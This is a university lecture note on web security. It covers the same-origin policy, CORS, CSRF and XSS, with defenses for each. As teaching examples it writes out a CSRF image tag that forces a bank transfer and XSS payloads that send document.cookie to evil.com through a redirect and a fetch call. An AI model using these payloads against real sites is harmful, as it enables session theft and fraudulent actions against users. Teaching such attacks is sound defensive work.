CSE4303 Introduction to Computer Security (Lecture 22)
Web Security
Bounding origins
Bounding origins by frames
Every window and frame has an origin.
Origins are blocked from accessing other origins’ objects.
attacker.com cannot:
- read content from
bank.comframe - access
bank.comcookies - detect that the user has
bank.comloaded
SOP for HTTP responses
Pages can make requests across origins.
SOP prevents JavaScript on attacker.com from directly inspecting HTTP responses (e.g., pixel data in an image). It does not prevent making the request.
What SOP allows and blocks
| Action | Allowed? |
|---|---|
| Send a cross-origin GET or POST request | Yes |
| Read the response body of a cross-origin request | No |
Embed a cross-origin image with <img> | Yes |
| Read pixel data from a cross-origin image via canvas | No |
Load a cross-origin script with <script> | Yes |
| Inspect the content of that script | No |
Load a cross-origin <iframe> | Yes |
| Read the DOM inside a cross-origin frame | No |
Relaxing SOP: CORS
Cross-Origin Resource Sharing (CORS) allows a server to explicitly permit cross-origin reads.
The server adds a response header:
Access-Control-Allow-Origin: https://app.example.com- Only the response from
app.example.comcan now read the cross-origin response body. - Wildcard
*allows any origin to read the response (only safe for public APIs).
Cross-Site Request Forgery
Cross-site requests and the problem
- When a request is sent to
example.comfrom a page served byexample.com, the browser attaches all cookies belonging toexample.com. - When a request is sent to
example.comfrom a different origin, the browser also attaches those cookies. - Because of this browser behavior, the server cannot distinguish same-site requests from cross-site requests.
- It is therefore possible for third-party websites to forge requests that are identical to legitimate same-site requests.
- This is called Cross-Site Request Forgery (CSRF).
CSRF example
Suppose bank.com has a transfer endpoint:
GET /transfer?to=alice&amount=100 HTTP/1.1
Host: bank.com
Cookie: session=abc123An attacker on evil.com embeds:
<img src="https://bank.com/transfer?to=attacker&amount=1000">When a logged-in bank.com user visits evil.com:
- The browser loads the
<img>tag. - The browser sends the GET request to
bank.com. - The browser attaches the
bank.comsession cookie automatically. - The server sees a valid session cookie and processes the transfer.
The attacker never reads the response — they only need the request to be sent.
Why CSRF works
- The browser’s automatic cookie attachment is the root cause.
- SOP prevents the attacker from reading the bank response.
- But SOP does not prevent the attacker from causing the request to be sent.
- State-changing actions triggered by GET requests are especially vulnerable.
CSRF defenses
Defense 1: CSRF tokens
- Server generates a random, secret, per-session token.
- The token is embedded in every HTML form as a hidden field:
<input type="hidden" name="csrf_token" value="s3cr3tT0k3n">- The server verifies the token on every state-changing request.
- The attacker cannot read the token (SOP blocks cross-origin reads), so they cannot forge a valid request.
Defense 2: SameSite cookies
- Set the
SameSiteattribute on the session cookie:
Set-Cookie: session=abc123; SameSite=Strict| Value | Behavior |
|---|---|
Strict | Cookie never sent on cross-site requests |
Lax | Cookie sent on top-level navigations (e.g., link click), not on subresource loads |
None | Cookie always sent (must also set Secure) |
SameSite=LaxorStrictprevents most CSRF attacks at the cookie level.
Defense 3: Check the Referer/Origin header
- The browser sends an
OriginorRefererheader indicating the page that initiated the request. - The server can reject requests where the origin does not match the expected value.
- Not fully reliable on its own (some browsers omit headers, proxies may strip them).
Cross-Site Scripting (XSS)
What is XSS?
Cross-Site Scripting (XSS) occurs when an attacker injects malicious JavaScript into a web page that is then executed in another user’s browser.
- Despite the name, it does not require crossing origins — the malicious script runs within the victim’s origin.
- Because the script runs in the victim’s origin, SOP does not protect against it.
- The injected script has full access to the page’s DOM, cookies, and local storage.
Types of XSS
Reflected XSS
- The attacker crafts a URL that includes a script payload.
- The server reflects the payload back in the HTML response without sanitizing it.
- The victim clicks the attacker’s link; the script executes in the victim’s browser.
Example vulnerable server code (pseudo-code):
name = request.get_param("name")
response.write("<p>Hello, " + name + "!</p>")Attacker URL:
https://example.com/greet?name=<script>document.location='https://evil.com/?c='+document.cookie</script>Stored XSS
- The attacker stores a script payload in the server’s database (e.g., in a comment or profile field).
- Every user who loads that content executes the payload.
- More dangerous because it does not require tricking a user into clicking a specific link.
Example: an attacker posts a forum comment containing:
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>Every user who views that comment page executes the script.
DOM-based XSS
- The vulnerability is entirely in client-side JavaScript.
- The server sends a benign page, but client-side code reads attacker-controlled data (e.g., the URL fragment
#) and writes it to the DOM without sanitization.
What an XSS attacker can do
Once script runs in the victim’s origin, the attacker can:
- Steal session cookies (if not
HttpOnly) - Read the page content (form values, displayed data)
- Make authenticated requests on behalf of the victim
- Redirect the user to a phishing page
- Log keystrokes
XSS defenses
Defense 1: Output encoding / escaping
- Escape all user-supplied data before inserting it into HTML.
- Convert
<→<,>→>,"→", etc. - Most modern templating systems do this by default.
Defense 2: Content Security Policy (CSP)
- A response header that tells the browser which sources of scripts are trusted:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com- Inline scripts and scripts from untrusted origins are blocked.
- Significantly limits what injected scripts can do.
Defense 3: HttpOnly cookies
HttpOnlycookies cannot be read by JavaScript (document.cookie).- Prevents the most common XSS payload (cookie theft) even if injection succeeds.
Defense 4: Input validation
- Reject or sanitize unexpected characters in user input at the server boundary.
- Do not rely on this alone — output encoding must still be applied.
CSRF vs. XSS comparison
| CSRF | XSS | |
|---|---|---|
| Attack origin | Different origin | Same origin (after injection) |
| Mechanism | Browser auto-attaches cookies | Injected script runs in victim’s browser |
| Reads response? | No | Yes |
| Requires user interaction? | Visiting attacker page | Viewing injected content |
| Primary defense | CSRF tokens, SameSite cookies | Output encoding, CSP |